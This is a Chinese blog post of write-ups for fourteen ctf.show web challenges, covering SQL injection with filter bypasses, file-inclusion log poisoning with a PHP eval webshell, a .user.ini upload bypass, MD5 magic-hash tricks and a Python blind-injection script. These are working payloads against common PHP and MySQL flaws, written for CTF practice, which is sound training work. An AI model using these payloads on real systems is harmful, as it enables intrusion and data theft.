ctf_web

web1

ctrl+u查看源代码即可找到base64编码形式的flag

web2

输入万能钥匙

使用burp suite抓包
在burp suite里右键选择send to repeater
使用联合查询来查询回显位置

1
1' or 1=1 union select 1,2,3#


接着就是爆库

1
1' or 1=1 union select 1,database(),3#

爆表

1
1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

爆字段

1
1' or 1=1 union select 1,group_concat(column_name),3 fron information_schema.columns where table_name='flag'#

爆值

1
1' or 1=1 union select 1,flag,3 from flag#


获得flag

web3

页面中显示了部分源码,明显是引导我们利用文件包含漏洞进行操作,源码中的include()函数通过GET请求接受一个url参数,那接下来我们就给它传递一个url参数

这里我们使用burp suite抓包,利用php://input伪协议执行PHP代码,代码的内容为执行系统命令,查看当前目录下所有文件。

很明显这个ctf_go_go_go文件就是存放flag的文件

我们直接在url地址中拼接url参数,访问ctf_go_go文件

1
?url=ctf_go_go_go

成功获取flag!

web4

进入题目,看到只有一句文件包含的提示。
这题使用input协议data协议都不可行,应该是被禁用了,所以从数据包入手

我们发现该道题使用的是nginx服务器,那我们想到可不可以通过日志文件进行写码得到flag呢,所以我们访问日志看看

1
?url=/var/lg/nginx/access.log

查看日志发现,每访问一次数据包中的User-Agent头会被写进日志中,那就尝试在UA头中写码

1
<?php eval($_POST['cmd']);?>

在UA头后插入一句话木马后日志文件里并未显示说明木马已经被解析了,然后使用蚁剑连接。


连接后,flag就在网页根目录中

获得flag!

web5

首先打开页面是一个页面源码,我们先来进行代码审计,看看有没有可以利用的地方

重点审计这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

有四个if语句,构造的v1和v2满足这三个条件即可得到flag
第一个if语句要求v1和v2不能为空
这里有两个php检测函数

  • ctype_alpha ——做纯字符检测
  • ctype_alpha(string $text): bool

查看提供的string,text里面的所有字符是否只包含字符。 在标准的 C 语言环境下,字母仅仅是指 [A-Za-z] , ctype_alpha() 等同于 (ctype_upper($text) || ctype_lower($text)) 如果 text 是简单的单个字符串还好,但是在其他语言中有些字母被认为既不是大写也不是小写。

所以,我们构造的v1必须是只有字母,才能绕过第二个if语句的过滤

  • is_numeric()函数用于检测变量是否为数字或数字字符串。
    如果指定的变量是数字和数字字符串则返回TRUE,否则返回FALSE,注意浮点型返回空值,即返回FALSE。

也就是说,v2必须是只有数字,才能绕过第三个if语句的过滤

然后再看最后一条if语句,要求v1和v2的值经过MD5加密后还必须相等,if(md5($v1)==md5($v2)),接下来我们开始想方法构造v1和v2的值

md5漏洞介绍:
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。这样最后php解析到的v1和v2的md5值就都是0了
构造v1=QNKCDZO&v2=240610708

0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

输入到url中,成功获取flag

web6

username尝试输入万能密码1’ or 1=1#
密码随意
显示sql inject error,发现有字符被过滤。
逐个字符输入后发现过滤了空格,一般空格被过滤有如下替换方法

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

这里选择/**/

接下来就到了广为人知的爆库,爆表,爆字段,爆字段值环节

爆库

1
1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

爆表

1
1'/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3#

爆字段

1
1'/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3#

爆字段值

1
1'/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

得到flag

web7

又又又是sql注入漏洞题
一共有三个文章,通过点击切换不同的文章可以看出url地址的差别,页面同过文章的id值来查询文章内容,我们可以考虑sql注入漏洞

首先判断注入点,输入以下payload,使sql恒成立

1
?id=1/**/and/**/1

页面正常显示

再输入以下payload,使sql恒不成立

1
?id=1/**/and/**/0

页面空显示

由此可以判断页面存在sql注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库
先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置

1
-1/**/union/**/select/**/1,2,3


下面就是广为人知的爆*环节了
爆库

1
-1/**/union/**/select/**/1,database(),3

爆表

1
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),3

爆字段

1
-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name="flag"),3

爆字段值

1
-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

成功获取flag值

web8

本题过滤了空格,逗号,and,union等关键字
空格依旧是用/**/替代
and可使用or 替代

首先狠狠的注入,输入以下payload使sql恒成立

1
?id=-1/**/or/**/1=1

由于sql恒成立,数据库将查询出表中的所有内容,并返回到前端展示

在输入以下payload使sql恒不成立

1
?id=-1/**/or/**/1=2

由于sql恒不成立,数据库查询不到任何数据,从而导致页面空显示

由以上结果可知,该页面存在sql注入,注入点为数值型注入

接下来进行脱库,由于盲注脱库比较复杂,此处我们拿抄来的python脚本😊进行自动化脱库,注意payload中的字符串不换行,否则可能会出问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = 'http://9d1bf0f8-9f4f-4cd2-bd17-a1024a0d065c.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))

if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break

# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()

获取数据库

获取表

获取字段

获取flag

web9

这题不能用常规方法做
在url中输入index.phps,可以发现下载了一个文件,打开。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

发现是使用MD5加密,利用MD5的漏洞在密码中输入ffidyop,登录成功,得到flag

web10

打开页面,是登录页面

点击取消,自动下载源码文件index.phps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>
1
2
3
4
5
6
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}

若要单纯绕过$regex = “/(select|from|where|join|sleep|and|\s|union|,)/i”;这个过来替换,用双写绕过即可,
但下面还有限制,查询出来的值要和我们post的值相等:

这就使得双写不能用,此处只能用 WITH ROLLUP 进行绕过
with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果(对group by 未指定的字段进行求和汇总,而group by指定的分组字段则用null占位)

我们使用万能钥匙(a'/**/or/**/ture/**/#)使SQL成立绕过用户名之后,后台的SQL会查询出所有的用户信息,然后依次判断查询处的用户名对应的密码和我们输入的密码是否相同,这时候我们使用with rollup 对group by 分组的结果再次进行求和统计,由于with rollup 不会对group by 分组的字段(password)进行统计,所以会在返回结果的最后一行用null来填充password,这样一来我们的返回结果中就有了一个值为null的password,只要我们登录的时候password输入框什么都不输,那么我输入的password的值就是null,跟查询出的用户密码相同(null==null),从而登录成功。
payload:

1
a'/**/or/**/true/**/group/**/by/**/password/**/with/**/rollup/**/#

得到flag

web11

1
2
3
4
5
6
7
8
9
10
11
12
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}

本题和web10有很多相同的地方,但是这一题出flag的条件是$password==$_SESSION['password'] password是我们自己输入的,session中的password存储在本地,所以我们只要输入空密码,并且将本地的session删除即可成功绕过,获得flag

Session是另一种记录客户状态的机制,它是在服务器上面,客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
session与cookie传送门

或者我们也可以用burp suite来做题
先抓登录的包

此时我们可以看到密码是123456,但提交了这个密码又是错误的,这里我们把cookie的内容删除了,密码123456也删除掉

大功告成!

web12

打开网站发现没有可用的注入点,应该不是注入了,ctrl+u查看源码,发现提示?cmd=

在网站上输入?cmd=phpinfo(); (phpinfo函数可以显示出PHP 所有相关信息。是排查配置php是是否出错或漏配置模块的主要方式之一!)发现有回显

这里会用到一个php函数glob();
glob()函数返回匹配指定模式的文件名或目录。
例:
glob(“*”)匹配任意文件
glob(“.txt”)匹配以txt为后缀的文件

有了这个方法我们可以先把当前目录下所有的文件找出来看看有没有可用的,
输入?cmd=print_r(glob("*"));
此时页面显示了如下内容

我们试一下第一个php文件
这是我们使用highlight_file()函数显示php文件

获得flag

web13

进入题目,发现是一道文件上传题,
先在url中输入upload.php.bak(bak是备份文件)
下载了一个文件,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

?>

发现上传过滤了php大小写,就是说上传的内容不能为.php后缀了,同时上传文件大小不能大于24字节,文件名不能大于9
所以我们写一个1.txt文件,内容为<?php eval($_POST['a']);
刚好24字节
上传成功,再写一个.user.ini文件,内容为 auto_prepend_file=1.txt
上传成功后,打开中国蚁剑,连接成功后发现没有权限操作,回到页面,POST提交
a=print_r(glob("*"));
发现一串长的php文件,a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
提交后成功显示flag

web14

php sleep()函数的意思是括号里等于几页面就会等待多少秒执行
看了一遍发现case 3适合我们去试试,因为case 3后没有break,在等待3秒后就会执行3和case 6000的内容,把url显示出来
url输入?c=3

url输入得到的信息

进入一个新的页面
显而易见是个sql注入
先查看源码,提取关键信息

1
2
3
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}

发现了过滤了 information_schema.tables
information_schema.columns
linestring polygon
还有空格
空格可用/**/代替
在这里提供一种绕过的方法——反引号
反引号:他是为了区分mysql的保留字与普通字符而引入的符号
例如:information_schema.tables和information_schema.`tables` 都可以使用

接下来使用联合注入
爆库(web)

1
-1/**/union/**/select/**/database()

爆表(content)

1
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

爆字段(id,username,password)

1
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

爆值

1
-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

爆值这发现了问题

并没有找出flag
提取关键字 tell you a secret,secert has a secret…
所以flag很可能在secret.php中,现在有一个问题,我们怎么从数据库中查看文件内容呢,mysql提供了读取本地文件的函数load_file()
所以我们构造语句

1
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

查看源码发现了如下内容

1
2
3
4
5
6
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')

也就是如果/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值,我们有这个函数可以直接读取

1
-1/**/union/**/select/**/load_file('/real_flag_is_here')

查看源码,发现flag已经出现在源码中


ctf_web
http://example.com/2023/05/23/ctfweb/
作者
奇怪的奇怪
发布于
2023年5月23日
许可协议